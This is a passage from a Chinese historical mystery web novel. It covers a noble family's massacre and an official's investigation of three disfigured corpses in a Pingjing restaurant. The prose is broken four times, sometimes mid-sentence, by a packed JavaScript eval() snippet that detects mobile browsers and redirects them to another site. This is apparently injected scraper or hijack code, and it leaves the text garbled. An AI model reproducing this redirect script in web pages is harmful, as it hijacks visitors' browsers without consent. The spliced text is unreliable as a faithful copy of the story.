《娉婷慕》 1. 楔子 北梁，太庆十三年，冬至。 亥时初，定国公府门四敞大开，内里熠熠火光，映着满池翻白的锦鲤，和地上一张张惊恐万分的脸。 “……都给我睁大眼搜仔细了，各院大小房间的、犄角旮旯里躲藏的，少一个人我拿你们充数！” 不想被充数的官兵一时间杀红了眼。 老幼妇孺的血融了整日未化的积雪，血水蜿蜒而下，流向钉着铁掌的马蹄边，逼人的腥气喷了黑马一脸，它狠狠打个响鼻，不安地原地“笃笃”踱步。 马上的人未及弱冠，一张脸堪称清秀，眼底映着两簇火光，暗夜里竟生出了几分妖异感。 盏茶工夫，鬼哭狼嚎的院子便只剩杂却不乱的脚步声，和时不时翻挪物体的声音。 方才喊话的侍卫统领三步并两步跑过来，脚下血水小范围地溅到四处，他却看都顾不得看，站定后作揖恭敬道：“回康平王，定国公府眷百二十口，现俱已就地诛杀！” 被称作康平王的人于是抬眼望去，想到白日来时这偌大的庭院一副辞旧迎新的喜气洋洋之貌，转眼不过个把时辰，便相携去见了先人。 倒也阖家团圆了。 他双眼微眯，妄图将远处火光挤压成小小一簇，心里不知想到什么，唇角噙出讥笑，清秀转瞬荡然无存。 也是此刻，定国公府深处最偏僻的废弃院子里，八岁的小女孩踉跄跑回满是蛛网的破屋，透过寸余的门缝，穷尽目力，却只能望见那一双无力垂下的手——那是双保养得当的纤纤玉手，片刻前，那双手的主人还在温声细语地同她说话。 小女孩眼中噙满泪水，一声“娘”不上不下卡在喉咙，她好像突然失去了语言能力，忘了如何把话说出口。 身后追来的阎婆子再次死死捂住她嘴巴和四肢，连拖再拽，才终于将她带进密道。 眼泪簌簌而落，小女孩嘴巴紧闭，牙齿肆无忌惮地在其中疯狂噬咬，血肉混着腥气充满口鼻，被她尽数吞下。 阎婆脚程飞快，身后密道被她一路走一路毁，期间还怕吓着女孩似的轻声宽慰，不过她可能平时就笨嘴拙舌，因此即使绞尽脑汁，说出的话却依然僵硬直白—— “……现在冲出去，只会多一具尸体，你什么都改变不了。” “夫人刚才也就白死了！” “还有老夫人，此刻怕是已经被做成人……” 小女孩蓦地松了劲儿，呜呜咽咽地哭出了声。 阎婆亦心如刀绞，抱紧了怀中的小人，“好孩子……” “报——” 一侍卫突然疾步奔来，先是偷眼看了上司，这才硬着头皮道：“禀康平王，那老太太……熬不住，死了。” 康平王低下头，眼底的火光被遮去，变得漆黑一片，他似乎反应了几息，才确认似的，又有些不确定，问道：“没熬住？” “是……”侍卫平白感到一阵威压，压得头更往下低，而下一瞬却又仿佛有打定了某种主意，他猛地抬头，“是喑药！我们割了她的舌头，给她灌下事先备好的喑药，不想老太太吞了药，直接就断气了！”侍卫“咚”地跪下去，“二殿下，小人们真的是按照吩咐办的，没有出一点差错，那药也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443157|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是事先在阮郎中那拿的，小人，小人万不敢从中做手脚，殿下明察，殿下恕罪……” 康平王隐去脸上本就不多的表情，垂目盯着那侍卫，俄顷偏头，“王统领，你的人，你处理。” 早在手下说出“老太太死了”的时候王纯涣整个人就绷在那了，此刻听康平王如此说，他蓦然一个激灵，当机立断抽刀送进侍卫胸口，侍卫来不及吭声就立即咽了气。 “没用的东西！”王纯涣浑不在意啐了一口，转而告罪，“属下用人不当，还请殿下责罚！” 康平王没言语，王纯涣等过几息，感觉这事应是暂时过了，便试探问：“殿下，火油已备好，立刻就烧吗？” 马上的人兴致缺缺，只是摆手。 王纯涣如蒙大赦地告退，风风火火指挥手下们点火烧尸体去了。 又一人转过远处街角，一路小跑地从暗处来到马前，压低声音道：“殿下，王妃自尽了。” 康平王面沉若水，好半晌没言语。 府上家丁正欲询问如何处置，话未出口却猛见黑马铁蹄遽然当胸袭来，堪堪滚地避过时，康平王已然策马回奔——他眼底卷着滔天怒意，敢在阮郎中的药里做手脚，“她死得倒容易！” 定国公府的大火烧了大半宿。 其时家家户户门窗紧闭，门窗后有无数双偷窥的眼，无动于衷地倒映着冲天火光。大火烧尽最后一点燃料，被清晨的冷风一吹，飘飘悠悠散到各处。 偌大北街，鲜有人没受过府上恩惠，却无一人敢上前收尸。 又一日夜，雪满平京城。 2. 第 2 章 太庆二十一年，上元灯会。 平京城今日免了宵禁，自戌时起，街道上人逐渐多起来。 最热闹的当属北街的“水玉楼”。 大酒楼今日彻底矮下身段，掌柜早早便领人在门口搭台子唱小调——先是唱一段“小娘子夜半敲开白面书生门”，然后又唱起“俊俏员外郎乔装夜会小寡妇”，紧接着还有“邪修狐妖勾搭良家少妇反被收做男宠日夜辛苦逃脱不得”…… 管他荒腔走板荒不荒唐，一炷香不到，大门口里三层外三层，嘻嘻哈哈全是来瞧热闹的。 掌柜趁机敲锣打鼓告知今日店内活动，当说到“便是光坐着吃不要钱的茶点就能看花魁献舞”时，人群更是瞬间沸腾！ 亥时初，花魁献舞，沸反盈天。 舞至高潮，忽地不知从哪传出一阵破了音的嚎叫，尖刀般猝然斩断所有乐声，花魁于半空摔落倒地，半晌未起。 喧闹逐渐平静下来，在场者皆不知所谓的面面相觑。 一息过后，那声音再次清晰传来：“杀、杀人啦——” 小孩子不经吓，跟着喊声大哭起来，杯盘落地的碎裂声渐次响起，反应过来的人立时你推我搡向外奔，更有人边跑边将各桌吃食兜进自己囊中，还唯恐天下不乱地呼喝—— “死人啦！水玉楼里杀人啦！” “大家快跑啊，再不跑就来不及啦！” “……” 混水摸鱼的躲在乌泱泱的人群中，一错眼珠就无影无踪，掌柜顾不上这头，只好留下几个店小二在下面维持秩序，自己则跟着后院跑来的打手们一同跑上二楼。 远远便瞧见三张白布，不知从哪匆匆扯下来，只堪堪遮住上半身，下半身衣着不菲，怎么瞧都不似是普通人家的。 宋掌柜心头剧跳。 “宋掌柜！”账房先生离得最近，已经提前了解情况，此刻见掌柜过来，忙将地方让开，见他想伸手去掀白布，账房忽然抬手隔了一下，“掌柜且慢。” 宋掌柜不明所以。 “这三位死相可怖，你若要看，可得做好准备。” 宋掌柜狐疑，思量一番，决定暂掀一角，然而只这一角便让他再没念头看下去。 死相岂止可怖，简直是匪夷所思。 三人死前不知遭遇了什么，“如此我就不看了，你简单说说便可。” 账房于是比划道：“头肿得比原来大了几圈，脸好似浆了几层面糊，上头的皮肉整个纠在一起，就像是……” “行行行，往下不必再说，”宋掌柜眉头越皱越深，不耐道，“可知死的是何人？” 账房点头，“小六子昨日当值，方才说昨日一早有人以祝家的名头订了这间房，我想着，在这能称得上祝家的，应就是祝家嫡系一脉了。” 宋掌柜的思绪仍停在几人的死相上，账房后面一句接一句听得他甚是麻木，只恍惚听见后头几个字，迟疑道：“祝家嫡系？可是祝大学士的……” 账房点头，“据说祝大学士致仕回乡，没两年就病逝，自此祝家便没落，只嫡系这一支尚算体面——对方有心炫耀，便多说了几句，其孙女三年前嫁进平京，这回应是婚后头一次见娘家人。至于是嫁到了谁家……” 平京城那么大，祝家后来又那么不起眼，若非有心，谁能天天盯着这些鸡毛蒜皮呢？ “对方故弄玄虚，并未明说。” 掌柜从千丝万缕中理出一点线头，先皇在世时，这位祝大学士就是个两袖清风的闲官，人也古板，虽常伴君身侧，却并未听说在朝中有过结党营私之事，所以先皇一去，新皇登基，四面不靠的他便一纸奏疏将自己送回越州老家。家中孙女倒是早早便在京中定了亲，本应及笄之年二人完婚，不料大学士突然病逝，婚事拖过三年孝期，直到三年前才嫁到了…… 宋掌柜忽然后背发凉，和账房对视一眼，不等账房说话，他便急声吩咐一旁的打手：“速去将门关好，另外，”他扭头告诉账房，“老伍，派人去找一趟东家，不，你亲自去，就说，就说四殿下的人死在咱们店了！” 账房心惊胆战地应了，一时没想明白越州祝家何时竟跟四殿下扯上了关系，却不敢多问，只带上两个打手迅速朝后门去，只是才到门口，就听身后倏然传来一阵歇斯底里的哭声，夹杂着“母亲”“父亲”以及“兄长”。账房脚步一顿，开门疾步而去。 方才做了一番吩咐，宋掌柜这口气尚未喘匀，余光瞧见急奔上来的夫妇二人，顿时一个头两个大，来不及阻止，那妇人一眼瞧见三人衣服，像是猜测终于得到确认般，扑过来嚎啕大哭。 祝家女婿尚算体面且理智，宋掌柜与之相互见了礼，心下更加确定。 祝家孙女闺名一个“柔”，早早在平京说了亲，夫家定的便是去年才从户部右侍郎的位子上退下来的姜极姜启元家。姜家人丁单薄，仅这一支落脚平京城，夫妻俩育有一女二子，长女及笄那年定亲，婚后随夫家北上，因出嫁前与家中关系紧张，婚后便少往来，这些年更只在年节时来信一二；大儿早年被外派到江南一处县城，却未料仅仅过去一年，就因突如其来的瘟疫客死他乡；二儿是老来子，老两口将对大儿的亏欠尽数倾注在了这个儿子身上，怕他如他大哥那般心思过于活泛，早早便将他放进户部，自己眼皮子底下。从员外郎做起，到姜极退下来，他已经坐到了越州清吏司主事的位置。 便是眼前这位祝家女婿，姜家小儿姜安。 短短几息，宋掌柜心中闪过数个念头，却被哭声扰得乱如麻，他有心想安慰几句，不料那妇人腕上镯子勾住了白布，动作间三人的脸逐渐显露出来。姜安低头间只觉眼前闪过三个硕大的白面包子，不由大吃一惊，若非宋掌柜从旁支撑，他险些眼一闭厥去见祖宗。 妇人嚎哭到模糊的视线也隐约见了些，下意识定睛细瞧，这一瞧可了不得，那发面大包子入目实过于惊悚，妇人惊吓过度，竟身子一僵，直直倒地昏了过去！ 掌柜“哎呦”一声，忙让旁侧候着的几个丫鬟上前将人抬进了包间，心中骂娘嘴上却不敢有半点疏忽，先让人速去请郎中，再连声招呼姜安同他去了隔壁，生怕迟一步这小女婿也跟着不省人事。 “姜大人。”宋掌柜与他见礼。 姜安忙回礼，“宋掌柜多礼。” 两人落了座，宋掌柜道：“事发突然，还请大人节哀。” 姜家虽早与祝家结亲，但姜安只在祝大学士回乡之时远远拜别过，至于自己那未过门的妻子，他也只见过画像，从没见过真人。过门后这三年，两人相敬如宾，没经历过什么波折。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443158|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以对于岳丈家遭遇的这档子事，他只觉震惊，却并不多悲伤，更难对妻子的心情感同身受，但宋掌柜如此说，他不好表现事不关己，只得应付一声，“给你们添麻烦。” 宋掌柜顿了下，不着痕迹睃向姜安，目光收回时他心下有了计较，推了杯茶过去，安慰他莫要着急，“此事我已让人报官，相信不日就能有结果。” “如此便好，”姜安并非斤斤计较之人，心中亦无甚追求，因此听宋掌柜如此说，他就也不再提，而是起身道，“宋掌柜，若无别的事，我去看看我夫人。” 宋掌柜自然不阻拦。 待人出去，宋掌柜心中已有计较，原以为他们夫妇二人是被人告知亲人出事才急急赶来，但瞧着姜安的神色，似乎又不是那么回事，这人事前应是什么都不知道。姜极对这仅剩的独苗看得极重，显然是吃了头两个孩子的教训，把姜安寸步不离地养在身边，磨平性子，磨灭野心，身在官场却单纯得近乎愚蠢。 思索半晌，他招来外头候着的小厮，与他耳语几句，小厮听罢立即往楼下跑，这时候隔壁的小丫鬟开门出来，见到宋掌柜忙说：“掌柜的，人已经醒了。” 宋掌柜吩咐一番“莫要怠慢”的话便不再理会，匆匆下楼。 没一会，县衙的人到了。 “丁县丞！”宋掌柜迎了上去。 两人平日多有走动，但今日不宜寒暄，简单见礼后，丁县丞便大步上了二楼。 “事情一发生我便让人将这间屋子围起来，除了他们身上的白布，其余一处都未曾动过。” 丁县丞不做多言，先让人在屋中查看，自己则站在尸体边上告了句“失礼”，便将白布掀开。 先前听伍账房的描述宋掌柜已隐有不适，方才拿余光瞥到时因顾忌姜主事还能勉强忍住，但此刻那三张脸猝然映入眼底，让他忽的想起早上才吃过的桂花巷包子张家的纯肉包子，一时少不得胃里翻滚，未免失态，忙叫小厮替他守着，自己则急匆匆跑向茅房。 丁县丞明显也被骇了一下，但他今日代表县令，手底下还带了好些人，不好失仪，硬着头皮意意思思看了看，就赶紧撂了白布。 派下去的人恰好来报，说他们搜了整间屋子，一点可疑的地方都没发现。 宋掌柜灰头土脸地回来，待丁县丞与人说完话，他才上前低声道：“县丞，死者是祝大学士长子儿媳一家……” 论起平京城大小事，丁县丞上任多年，市井之事自是无人比他更了解，宋掌柜只是略提及，他便迅速抓住重点，“祝家嫡系，那岂非姜主事的岳丈一家？” 宋掌柜佩服县丞这极好的记忆，忙点头，“可不是，且此刻人就在包间内休息，主事夫人受了不小刺激，怕是问也问不出什么来。” “主事在此，我不好不去拜见，至于别的……” 话未说完，忽然有人急急跑上二楼来报，“丁县丞，掌柜的，有、有大官儿来了！” 宋掌柜与丁县丞二人对视一瞬，皆在对方眼底看出大事不妙！ 酒楼大门在这时候被推开，车轮辘辘声中，一人自车上迈腿下来，才站稳，立刻有小厮递上手炉与披风，“大人当心脚下。” 宋掌柜见到人进来的刹那，脸色就变了，这事怎还惊动了刑部？ 3. 第 3 章 谢兆谢知微，北梁史上最年轻的刑部侍郎。 丁县丞不敢怠慢，人才露了头，他就蹬蹬蹬跑下去见礼，“侍郎大人！” 紧随而后的宋掌柜则是直接跪了下去。 谢兆免了他们的礼，身后随从递来烫金的牌子，他带着鼻音淡声道：“丁县丞，这个案子由刑部接手了，把你的人带回吧。” 丁县丞心生疑窦却不敢多言，连牌子都只是略扫了眼就忙交代了，“是，下官这就带人走。” 谢兆不再开口，径直往二楼去。 宋掌柜犹豫一瞬，跟在了最后面。 丁县丞来，想是得了东家那头的指示，此间情况应该没他担心的那么严重，待明日做了证据再在大狱找个死囚安上罪名处死，这件事也就过去了，幕后之人自有东家私下处理，四殿下若趁机发难亦是死无对证，更不至于因此翻脸。 两全其美的事，偏偏刑部来了，来的还是这位…… “管事的是谁？” 兀自思索间，忽听这声音，宋掌柜哆嗦一阵，小跑上前，“大人，草民是这里的掌柜。” 谢兆转身望过来一眼，“说说情况。” 宋掌柜被这一眼瞧得心里发虚，只好挑重点简明扼要地说了一遍，并刻意模糊几人死后模样，“大人，情况就是这样，定包房的客人都是不喜有人打扰的，所以除了固定几个候着的丫鬟，其余人都在下面忙活，今日过节，店里客人比往常多，确是有招待不周之处，可真没想到会发生这种事，实在是……” 谢兆垂头看了眼盖严实的白布，吩咐旁边亲随，“去拿今日包房客人的名册。” 宋掌柜闻言忙将人往下面领，“您请随我来。” 谢兆将手炉搁在一旁，挥手让部下开始干活，自己则不知从哪顺来根签子，轻轻挑起白布一角。 这死状…… 谢兆心跳微乱，又掀开其他的，甚至丢了签子直接用手在三人面部摸了许久，方才确定了什么，但随即仿佛有什么地方想不通，粗粝指尖在额头鼓起处轻轻压了下去。 十分柔软，并不似…… “你干什么的？住手，你不准动！” 忽而一道女声气急败坏自斜下里传来，谢兆动作顿住，随即不慌不忙收了手，站起来，扭头看过去。 祝柔原是被哄着迷糊睡了过去，可这一遭悲伤过度，没几息就惊醒，她心中惦记给家人料理后事，便央着姜安带她出去，姜安拗不过，只好依着她，没想到却碰上有人正对他岳丈一家不敬。 未及探明情况，妻子祝柔先绷不住，待到那人看过来时，姜安忽的心头大震，高声喊了句“谢大人”，便连将妻子往身后挡，“大人见谅，此乃下官岳丈一家，不想进京探亲却遭此厄运，内人急火攻心忧思过甚，言语不敬冲撞大人，您大人大量，千万别同她一般计较！” 祝柔躲在丈夫身后低着头，眼中已然噙满泪水。 “原来是姜主事，无妨，”谢兆重新拿回手炉，他仿佛早已知道死的是谁，言明，“此间事已由刑部接管，待到案件明了，自会将尸身送还府上。” 祝柔不甘抬起头，想说话却看见丈夫躬下去的腰身，终是抿住唇，复低头，泪珠子便直直砸到了脚边。 “还请大人，”祝柔鼓起勇气，在丈夫准备退走时说，“留我父母兄弟全尸。” “自然。”谢兆不多话，却字字有声。 宋掌柜拿到名册后重新回到二楼，入眼就见姜家这位妇人仿佛对峙般低头站在谢兆对面，他担心有什么节外生枝，便赶忙跑过去躬身道：“谢大人，名册都在这了。” 谢兆从亲随手中接过来，并吩咐其带姜安夫妇去隔壁问话，之后翻开册子逐字查看，像是在特意找着什么。 宋掌柜在旁边大气不敢喘，他在这家店干了三年，基本摸清了平京城大小官员的脾性，独独这位他最难笃定。这位侍郎大人身份地位极特殊，干的这份差事在市井也有不少说法，三年来他们打交道的次数屈指可数，是自去年入冬后才相对多了起来——也不过他到店里，在一楼挑个最角落的位子，坐下简单吃两碟炒菜，并一壶茶，主食都未曾要过。 仿佛真就跟别的大人那般，散值后不愿回家面对夫人小妾，来包间里躲清闲。 可他即不进包间，也尚无家室。 有不识其身份的客人见他气质卓然过去攀谈，他也能侃侃而谈，反观知道他是什么人的，却都绕路而行。 宋掌柜曾亲自去招待过，与谢兆聊过几句，其人话虽不多，却很会递话头，言谈间让他漏了不少店中情况，偏他似被灌了迷魂汤，当场根本没察觉，事后回想方才恍然。经了那一遭，谢兆再来店里，他就不主动往跟前凑了，只吩咐店小二好生招待莫要怠慢。 再之后，谢兆就不来了。 宋掌柜对此更加拿捏不准，日夜提心吊胆，连见到酷似其身形的人也要张望一阵，这事根本不敢向东家汇报——他吃不准当时到底漏了多少给谢兆，更不知道这位哪哪都特殊的侍郎大人会从他那些话里咂摸出多少秘密。 不过这件事一日未挑明，他便还可苟活一日。 那名册无甚不妥，只是少了几个名字而已。宋掌柜再次回想，两本名册做了非常明显区分，他一定没有拿错。 “宋掌柜。” 宋掌柜一颗心蓦地升到嗓子眼，腰弯了下去，“侍郎大人。” 谢兆合上册子，却不打算返还，而是状似随口一问，“这上面，怎的不见吏部的王泽忠王主事？” 宋掌柜后背霎时浮起一层薄汗，“这……王主事是今早才叫人来店里定的，想是当时情况匆忙，还没来得及录入，”继而又小心赔笑，“大人见谅，今日店里客人多，我们人手又不够，期间疏漏难免，但通常打烊后我们会再核对一次。确实不是有意没写上去的。” 不知这话谢兆信了几分，总之他没有继续问。 正这时，忽有部下来报，“大人，有发现！” 宋掌柜一颗心根本撂不下去，偷眼循着这人来的方向看回去，发现是最里面的一间小包房，他记得清楚，房间是三日前订出去的，来订房的乃是户部尚书薛崇贵府上的小厮。 只怪他今日实在忙，竟连薛府人何时上门都未曾察觉。 “大人……” 部下凑近，与谢兆耳语几句，谢兆听罢，招来两位女部下，“过去问问。” 薛府在平京是有些根基在的，虽家风尚俭，却并非清苦，因此那日来人订房，宋掌柜未曾多心，小包房只是相对来说，实际要招待一场家宴还是绰绰有余的。 既是家宴，怎还特意招了女部下去？ 宋掌柜视线偷偷跟上，须臾便隐隐听见远处那小包房中传来不小的摔砸撕扯声。 “放肆！你们……你们胆敢……” 之后忽然没了动静。 不多会两个部下拖着个喝得烂醉的女子出来，帷帽草草遮住半张脸，走近时，宋掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443159|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜壮着胆子扫过去一眼，心里蓦地“咯噔”一下。 他从纷杂的记忆中捋出去年开春，薛家找回了走失多年的嫡女。他记得非常清楚，那次薛家破天荒花了不少银子欲请人上门做饭，找到他这，他拒绝了，因为水玉楼自开业起就没有过这种先例，但后来不知东家如何知晓，连夜递来消息，让他答应。 他因此曾远远瞧见薛府这位失而复得的嫡长女，彼时其帷帽遮身，隔绝一切窥视，只听闻此女容貌不凡，比之她那已然过世多年的母亲当年有过之而无不及。 不过尚书大人进京时早有续弦，原配容貌如何，不得而知。 而此时宋掌柜亦不敢细瞧，仅拿余光分辨，身形依稀同旧时所见别无二致，薄纱下的脸若隐若现，惊鸿一瞥，瑰姿艳逸。 醉酒时尤甚。 仿佛察觉到这番打量的目光，谢兆的视线随之追了过来，宋掌柜立时如芒在背，头垂至更低，俩眼一闭，再不敢乱瞟。 谢兆随即瞧向那醉鬼，名册方才看过，订房间的是户部薛家，却不知为何只来了她一个。 欲说话，之前派去问话的亲随过来，将整理好的说辞呈递到谢兆面前，“大人。” 谢兆垂眼，看册子上的一问一答，基本都是姜安在说，妻子祝柔却鲜少回话，不似方才那对峙般的倔强模样。 忽然一记响亮的酒嗝，浓重的酒气紧接着散开，谢兆不悦抬眸，望向这位待处理的可疑醉鬼。 然而醉鬼此刻迷迷瞪瞪，仿佛根本不知今夕何夕。 跟着又像隐约察觉到什么，醉鬼开始胡乱挣扎，嘴里念念有词，听不真切。 挣动半晌无果，谢兆摆手，“去让她醒醒酒。” 部下重新将人拖回包间，谢兆转而叫来宋掌柜，“姜安夫妇来时，你一直在场？” 这话方才已经答过，再被问起，宋掌柜免不得重新打起精神，“回大人，没错，草民从事发便守在这，至姜主事夫妇来时，确实未曾离开过。” “劳烦掌柜，再把姜安夫妇来时的表现详细说与我听。” 宋掌柜不知侍郎大人从这星点之中看出了什么，自己心中却也没个计较，一时拿不准主意，犹豫几息，还是照着先前的，尽量一字不漏地重复一遍。 “你的意思是，当时死者身份只有你们在场几人知晓，他夫妇二人却在店门已经关闭的情况下，不顾阻拦强行冲进来？” 宋掌柜点头，“伙计们认得姜主事的脸，不敢多造次，推搡两下便让人进来了。” “期间是否有知情人离开？” 宋掌柜想起几乎在同一时间离开的伍账房，摇摇头，“不曾。” 谢兆捕捉到了宋掌柜的迟疑，却并不继续追问，低声吩咐亲随让姜安夫妇先行离开，“着人盯紧姜府，任何风吹草动都要上报。” “大人！” 谢兆转头，听部下汇报说，里面醒酒的人正耍酒疯，“她吵着要见您。” 不知因何而独自在酒楼买醉的闺阁姑娘，她们即使同为女子，也摸不准怎样处理得当，万一哪下收不住磕了碰了，计较起来也是笔官司。 “侍郎大人留步，”宋掌柜见谢兆抬脚就要往包间去，忍不住出声提醒，“大人有所不知，那是户部尚书薛大人家的千金，幼时走丢，是去年开春才辛苦巡回……”他话未说尽，但要表达的意思倒是明了——您办您的案，可千万别牵连我们酒楼。 谢兆道了句谢，毫不迟疑推门而入。 4. 第 4 章 房中情形稍显狼狈，茶杯碎满地，茶汤正顺着桌布向下滴，几个圆凳应是匆匆扶正，位置都还没找准。 此行所带的女部下都在房中，两个守在窗边，两个守在榻旁，榻上被褥凌乱，那醉鬼躺在上面，晕得不省人事，帷帽也不知去向。 跟过来的部下低声解释，“大人，属下几个头回拿了闺阁千金，实在束手束脚，若非她刚才闹得太厉害，也不至将她敲晕……”自知处理不当，声音越说越小。 谢兆低头，望见那张不知喝了多少酒而酡红的脸。 “打盆水来。”似被酒味冲着了，谢兆握拳抵住口鼻轻咳几声，鼻音更浓几分。 部下不敢问用途，立刻出去端了盆冷水回来，“大人，水。” 就见谢兆从架子上取下一块方巾，浸湿后拧也不拧，湿漉漉地直罩上醉鬼的头脸—— 窒息般的捯气随之而来，榻上人“唔”一声支起身子，呛咳不止。 方巾落到身上，立刻穿透层层布料濡湿一片，她像被激着了，不受控地发起抖来，嘴唇和脸肉眼可见的泛起青白，醉后通红的眼底却涌出薄怒，直直望向面前的人。 谢兆恍若未觉。 几个部下虽不落忍，却没人敢出声说话，方才端水的更是别过眼去，狠狠为她们大人捏一把汗。 原来大人竟是嫌她们过于温柔了！ 这可是户部尚书失而复得的千金、如珍似宝的薛家嫡长女！那平日不是得当眼珠子一样宝贝的？ 瞥见旁边架子上挂着和她身上衣着同色系的棉披风，待她稍稍缓过劲，谢兆伸手拿下来扔过去，眼见她慢吞吞穿好，出声道：“酒醒了？” 薛千金闭了闭眼，不想说话。 谢兆转身给部下示意，之后就要走，未料脚还没迈出去，听见榻上之人蓦地开口：“站住。” 声音轻轻的，带着酒醉后的沙哑，明明没什么气势，却叫人无端走不动路。 旁边几个下属屏住呼吸，心中不约而同称赞其胆大包天，所谓不知者无畏。 谢兆顿住，几息后转回身，望过去。 薛千金咬牙挺过一阵哆嗦，方再次开口：“劳烦大人，着人去户部尚书薛大人府上送个信。” 谢兆挥手，守在门边的两个部下随即推门而去。 “府上的人来还有些工夫，薛姑娘不若先交代一下在这里的事？”谢兆在桌旁的凳子上坐下，扶正歪斜的茶壶，没找着盖子，应是散在了地上的碎片里。 薛千金倚住墙，垂着眼睛，只留个侧脸。虽穿了披风，却无济于事，不知是先前的酒没温到位还是当真被冷水刺激，她身子一直在颤。 交代？交代你明日如何死吗？ 谢兆是个没什么耐心的，她半天不吐一个字，他便又开口催，“现在不说倒也无妨，待天明我去府上拜访，到时候可以在薛大人面前说一说。”言罢扭头吩咐，“去尚书大人府上递张拜帖。” 薛千金难得扭头望住他，朦胧的眼底短暂清明，浮现出不可思议。 谁吃饱了撑的大半夜去别人府上送拜帖？ 谢兆直直与她的目光相接，一副“我就是如此”的模样。 薛千金不免好气又好笑，想说些什么，却被突来的颤抖震得重新咬紧牙关。 房中短暂安静下来。 大约盏茶工夫，谢兆耐心耗尽，他似乎卯着劲儿硬要问出些什么，于是再次张嘴咄咄逼人，“听闻薛府家风严谨尚俭，对失而复得的女儿却百依百顺，家中用度一律予以最高标准——”谢兆答非所问，说到这里时忽然停住，视线望过去。 薛千金依旧没给任何反应，她甚至已将眼睛闭上，头正不住地往下沉。 “大人，”守在榻前的部下凑近仔细瞧了瞧，手探过去，“她发烧了。” 谢兆握着手炉，没立刻动。 眼见她身子慢慢顺着墙滑下，谢兆神色渐沉，“去叫郎中。”而后起身过去，稍稍迟疑，手搭上了她垂在一边的腕子上。 他幼时生过一场大病，病好后却伤及元气，这些年久病成医，于医理一道算得上入门。 可却摸不出她的情况——明明好得很，为何会突然烧起来？ 部下去而复返，说郎中已在门外候着。 谢兆微微一顿，旋即收回手，拢着手炉站在一边，“请进来。” 郎中大约也没瞧出什么名堂，只开了退烧和安神的药，药尚未煎好，去尚书府叫人的部下返回，身边跟着个小丫鬟。 “大人，这是薛姑娘房中的丫鬟韵采，薛府派了马车，正在门口候着。” 谢兆免了丫鬟的礼，问她，“主人出门，你为何没跟着？” 丫鬟低着头，语气不卑不亢，“回大人，我家姑娘素日独个惯了，不喜有人时刻伺候。奴婢晚间送姑娘到“水玉楼”后便先行返回候着，尚书大人也是准了的。” “如此说来，”谢兆思索着，“就算我没派人去府上知会，你今晚也一样会来接人？” “姑娘吩咐奴婢子时前来，大人派人过去时，奴婢正备了车马要过来。” “往日可有过这种时候？” 丫鬟说：“经常的，府里人都知道，大人若不信，可向尚书大人一问便知。” 谢兆眼神在丫鬟身上扫过，没再问。 “大人，我家姑娘现在何处？” 谢兆侧开身，将门让了出来。 丫鬟再次见礼，轻轻推门进去。 薛千金仍在昏睡。 宋掌柜从后厨端来煎好的汤药，隔着门缝匆匆睃了眼，“大人，这药……” 谢兆示意手下，“端进去。” 部下送了药很快出来，面有不豫，和谢兆告状，说自己是被冷脸冷语赶出来的，“若非是属下自己将人带回的，真要怀疑那到底是不是丫鬟了。” “怎么说？” 部下回忆一番，神色怪异，“属下言语匮乏，形容不上来，就是直觉，薛府的丫鬟不应是这样的，可属下之前并未同薛府打过交道。” 里面有了轻微动静，谢兆望住那扇门，不多时，见其被从里面推开，主仆二人站在门后。 薛千金醒了，虚弱地倚靠在丫鬟身旁，脸隐在帷帽下瞧不见，呼吸清浅，仿佛随时都准备再次晕厥。 “大人，若无别的事，奴家这便带姑娘回去了。” 谢兆只能放人。 虽他也直觉蹊跷，却无实证，如强行将人扣留，薛崇贵那闹起来亦是笔不小的官司，他眼下更没那个闲工夫跟人打嘴仗。 好在此行并非一无所获。 目送两人离开，谢兆指了个人跟去盯梢。 转回身见到地上白布盖着的尸体，眼底浮现的说不清是庆幸还是什么。 “带回去，请许仵作来。” * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443160|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >马车内，韵采收回视线，放下帘子轻声说：“姑娘，薛千金这个身份怕是难长久。” 袁彦支在另一侧，她应该真是喝了不少酒，眼底蓄着朦胧水汽，神态上倒还正常，全不似在酒楼时那般失态，她“嗯”了声，眉头微微皱着，“原本也没真想当个什么千金小姐。无妨，此行虽险不凶，不是大事。” 